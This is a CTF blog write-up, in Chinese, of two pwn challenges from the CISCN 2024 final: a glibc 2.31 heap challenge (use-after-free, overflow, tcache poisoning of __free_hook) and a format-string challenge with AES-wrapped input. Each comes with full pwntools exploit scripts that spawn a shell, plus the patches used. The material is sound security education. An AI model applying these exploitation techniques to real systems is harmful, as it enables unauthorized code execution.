Cameudis' Blog

Binary Hack, Computer System, Music, and whatever

0%

【Pwn-0x18】CISCN-Final2024-writeup

国赛决赛PWN赛后复现:

  • ezheap: 入门堆题,存在 UAF 和任意大小溢出
  • anime: 非栈上的格式化字符串漏洞

ezheap

程序分析

程序环境为 2.31,二进制保护全开:

1
2
3
4
5
6
7
$ checksec ./ezheap
[*] '/home/cameudis/ctf/ciscn2024-final/ezheap/ezheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序在读入用户输入后,马上就进行了神秘的解析操作。遇到这种情况,我们有以下解决方案:

  1. 盲猜是 JSON,或根据解析函数中的一些硬编码的字符发现是 JSON(比如 '{'
  2. 求助具有丰富逆向经验的队友,发现使用了 cJSON 库
  3. 使用提前准备的签名进行匹配,如下图所示:

cJSON Signature Match

关于 Binary Ninja 如何制作与匹配二进制签名,可以参考 官方文档

除了神秘的解析之外,本题就是一个入门级菜单堆题。漏洞点有两个:

  • Delete 函数中存在 dangling pointer(指针未清零);
  • Modify 函数中存在任意大小溢出;

利用思路

由于 new 函数中对堆块大小做了 0x400 的限制,且一共只能分配 7 个堆块,因此如果想要泄露 libc 地址,需要通过溢出把堆块 size 改大,来把堆块 free 进 unsorted bin 中。

在此以后,直接 view 还拿不到 libc 地址。由于 cJSON 的实现,在解析用户的指令时,它会申请一系列的堆块。由于刚刚释放进 unsorted bin 的堆块足够大,所以它会被切割数次,导致原来位置上不再是一个指向 unsorted bin 的指针。

但这种情况也很好解决,堆上还有很多遗留的地址,可以先 edit 然后顺带把地址给读出来。(感谢 V3rdant 师傅)

之后就是使用 tcache poisoning 来将 __free_hook 劫持为 system,然后执行 free("/bin/sh") 来拿到 shell 了。

Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python3
from pwn import *
import sys
context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

filename = "./pwn"
libc_name = "./libc.so.6"

elf = ELF(filename)
libc = ELF(libc_name)

context.log_level = 'info'
context.binary = filename

# ------------------- Exploitation ------------------- #

ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)

# {"choice":"add","index":0,"length":16,"message":"aaa"}

def comm(choice, index, length, message):
ru(b"Please input:")
s(f'{{"choice":"{choice}","index":{index},"length":{length},"message":"'.encode()+message+'"}\n'.encode())

def add(length, message):
comm("new", 0, length, message)
def delete(index):
comm("rm", index, 0, b"a")
def view(index):
comm("view", index, 0, b"a")
def edit(index, length, message):
comm("modify", index, length, message)

def pwn():
add(0x40, b'im_block_0')
add(0x40, b'im_block_1')

# overflow block_1's size to 0x531 (thus next_chunk is top chunk)
edit(0, 0x2a0, b'A'*0x298 + b'\x31\x05')

# unsorted bin
delete(1)

# leak libc address
edit(1, 0xa8, b'a'*0xa8)
view(1)
ru(b'a'*0xa8)
libc_base = u64(ru(b'\n')[:-1].ljust(8, b'\0'))-0x1ecbe0
log.info(f'libc_base: {hex(libc_base)}')

# tcache poisoning
add(0x40, b'im_block_2')
add(0x90, b'im_block_3')
add(0x90, b'im_block_4')
delete(4)
delete(3)
edit(2, 0x2a8, b'a'*0x2a0 + pack(libc_base+libc.sym["__free_hook"])[:6])
add(0x90, b'/bin/sh')
add(0x90, pack(libc_base+libc.sym["system"])[:6])

delete(5)

io.interactive()


# ------------------ Infrastructure ------------------ #

gdbscript = '''
'''

if __name__ == "__main__":
print("[*] Cameudis's PWN Framework")
if len(sys.argv) == 1:
io = gdb.debug(filename, gdbscript=gdbscript, exe=filename)
elif sys.argv[1] == "d":
io = process(filename)
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for direct without debug")
print("\tr for remote")
exit()

pwn()

Patch

由于出题人的检验脚本非常恶心,所以本题修复难度非常大。我和队友尝试了非常多种方法后,最后发现把 malloc 的参数硬编码为 0x1000 就可以通过检测。

anime

程序分析

程序环境为 GLIBC 2.31,二进制保护全开:

1
2
3
4
5
6
7
$ checksec ./pwn
[*] '/home/cameudis/ctf/ciscn2024-final/anime/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main 函数中,程序读取用户输入,并使用硬编码的 key 对输入进行 AES 解密。解密后的消息将会直接被使用 printf 打印出来,存在格式化字符串漏洞。程序会循环执行上述过程三次,然后从 main 函数返回。

本题的利用难点在于:存储用户输入的缓冲区位于堆上,且限制了我们只有三次攻击机会。

利用思路

关于非栈上的格式化字符串,可以先去找找别的资料看。

3 次机会一定是不足以打穿非栈的格式化字符串溢出的,必须想办法进行更多次攻击。在程序中,我们可以发现表示剩余次数的循环变量 i 保存在栈上,因此一开始仅有的这三次机会可以用来进行 i 的劫持。

  1. 泄漏栈地址、Libc 基址;
  2. 劫持一个栈上的栈指针,使其指向 i
  3. 劫持 i 为一个更大的数。
1
2
3
4
5
6
7
8
9
10
11
12
13
sa(b'3 times', aes128_encrypt(b'.%6$p.%15$p.\0', key))

...
ru(b'.')
stack_base = int(ru(b'.')[:-1].decode(), 16)
success("stack_base: "+hex(stack_base))
i_addr = stack_base-0x124
success("i: "+hex(i_addr))
...

sa(b'2 times', aes128_encrypt(f'%{i_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%5c%45$hn\0'.encode(), key))

在此之后就是常规的攻击了。我选择将栈上的返回地址劫持为 libc 中的 one_gadget。

Exploit Script

我使用 Cryptodomex 库进行 AES 加密。如果有安装 Cryptodome 库,也可以直接将脚本中所有 Cryptodome 直接替换为 Crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
from pwn import *
import sys
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import *

context.terminal = ['tmux', 'splitw', '-h']

# ---------------- Environment Config ---------------- #

context.log_level = 'info'
context.arch = 'amd64'

libc_name = "./libc.so.6"
filename = "./pwn"

libc = ELF(libc_name)
elf = ELF(filename)

# ------------------- Exploitation ------------------- #

ru = lambda a: io.recvuntil(a)
r = lambda: io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)

key = bytes([0x7b,0xf3,0x5c,0xd6,0x9c,0x47,0x5d,0x5e,0x6f,0x1d,0x7a,0x23,0x18,0x7b,0xf9,0x34])

def aes128_encrypt(data, key):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(pad(data, AES.block_size))

def aes128_decrypt(enc, key):
cipher = AES.new(key, AES.MODE_ECB)
return unpad(cipher.decrypt(enc[AES.block_size:]), AES.block_size)


def pwn():

sa(b'name', b'******')
sa(b'3 times', aes128_encrypt(b'.%6$p.%15$p.\0', key))
ru(b'.')
stack_base = int(ru(b'.')[:-1].decode(), 16)
success("stack_base: "+hex(stack_base))
i_addr = stack_base-0x124
success("i: "+hex(i_addr))
return_addr = i_addr+0x34
success("return_addr: "+hex(return_addr))
libc_base = int(ru(b'.')[:-1].decode(), 16)-0x24083
success("libc_base: "+hex(libc_base))

sa(b'2 times', aes128_encrypt(f'%{i_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%5c%45$hn\0'.encode(), key))

one_gadget = libc_base + 0xe3b01

print(f'[*] write {hex(one_gadget&0xFFFF)} to {hex(return_addr&0xFFFF)}')

sa(b'4 times', aes128_encrypt(f'%{return_addr&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'3 times', aes128_encrypt(f'%{one_gadget&0xFFFF}c%45$hn\0'.encode(), key))

print(f'[*] write {hex((one_gadget>>16)&0xFFFF)} to {hex((return_addr+2)&0xFFFF)}')

sa(b'2 times', aes128_encrypt(f'%{(return_addr+2)&0xFFFF}c%6$hn\0'.encode(), key))
sa(b'1 times', aes128_encrypt(f'%{(one_gadget>>16)&0xFFFF}c%45$hn\0'.encode(), key))

ru(b'too!\n')
io.interactive()


# ------------------ Infrastructure ------------------ #

def debug():
g = gdb.attach(io, """
# set debug-file-directory ~/gaio/libs/2.29-0ubuntu2_amd64/.debug/
b *$rebase(0x1600)
b *$rebase(0x15cb)
""")
# pause()

if __name__ == "__main__":
if len(sys.argv) == 1:
io = process(filename)
elif sys.argv[1] == "d":
io = process(filename)
debug()
elif sys.argv[1] == "r":
io = remote(ip, port)
else:
print("Usage: ./exp.py [d | r]")
print("\td for debug")
print("\tr for remote")
exit()

pwn()

Patch

最简单的方式是直接把 printf 直接改成 puts

我们比赛时 patch 的方法是跳转到 .eh_frame 段的代码中,执行 printf("%s", buf)